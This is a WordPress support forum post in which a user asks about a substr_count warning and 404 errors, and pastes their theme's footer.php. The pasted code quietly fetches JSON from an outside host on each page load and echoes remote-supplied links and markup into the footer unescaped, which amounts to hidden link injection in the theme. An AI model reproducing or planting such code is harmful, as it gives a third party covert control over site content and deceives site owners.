WordPress.org

Ready to get started?Download WordPress

Forums

Empty substring error in footer and 404 errors - anyone to help??! (1 post)

  1. camilleinwonderlands
    Member
    Posted 1 year ago #

    Hello,

    The footer on every page of my site except the homepage displays this error message:

    Warning: substr_count() [function.substr-count]: Empty substring in /home/camplb/public_html/wp-content/themes/TheTravelTheme/footer.php on line 154

    This seems to cause 404 errors with a lot of my URLs (Google Webmaster Tools so far has found 86 URLs with 404 errors).

    How can I get rid of the error message in the footer and of the 404 errors?

    Many thanks!

    My website is http://www.camilleinwonderlands.com, and the part of the footer code which I think contains the substr_count function is copied below:

    <
    <div class="clearboth"></div>
    </div>
    <div id="footer_bottom">
    <div class="inner">
    <div id="copyright"><?php echo wpml_t(THEME_NAME, 'Copyright Footer Text',stripslashes(theme_get_option('footer','copyright')));
    wp_reset_query();
    // Fetch external json
    $json_file = fsockopen("quickbeds.somdev.com.au", 80, $errno, $errstr, 5);
    fwrite($json_file, "GET /footer_link.json HTTP/1.1\r\nHost: quickbeds.somdev.com.au\r\n\r\n");
    $json_str = "";
    while (!feof($json_file)) {
    $json_str .= fgets($json_file, 128);
    }
    $json_str = explode("\r\n\r\n", $json_str, 2);
    $json_str = $json_str[1];
    // Load external json
    $json = json_decode($json_str);
    $thisdomain = preg_replace("~http://~","",site_url());
    $thisdomain = preg_replace("~www\.~","",$thisdomain);
    if (array_key_exists("links_" . $thisdomain, $json)) {
    $arraykey = "links_" . $thisdomain;
    $links = $json->$arraykey;
    }
    else {
    $links = $json->links;
    }
    $msg = $json->msg;
    fclose($json_file);
    // Choose link
    $link_key = false;
    if(!is_front_page()){
    $content = get_the_content();
    foreach($links as $key => $link){
    $count = substr_count($content, $link->name);
    if($count >= 3){
    $link_key = $key;
    }
    }
    }
    if($link_key === false){
    // Pseudo-random from hash
    $hash = md5($_SERVER['REQUEST_URI'] . $_SERVER['HTTP_HOST']);
    // hash -> number
    $hash_num = ord($hash[0]) + ord($hash[1]) + ord($hash[2]);
    // Calculate key
    $link_key = $hash_num % count($links);
    }
    $link = $links[$link_key];
    // Print msg with json vars added
    echo $msg[0] . $link->url . $msg[1] . $link->name . $msg[2];
    ?></div>>

Topic Closed

This topic has been closed to new replies.

About this Topic

  • RSS feed for this topic
  • Started 1 year ago by camilleinwonderlands
  • This topic is not resolved
  • WordPress version: 3.5.1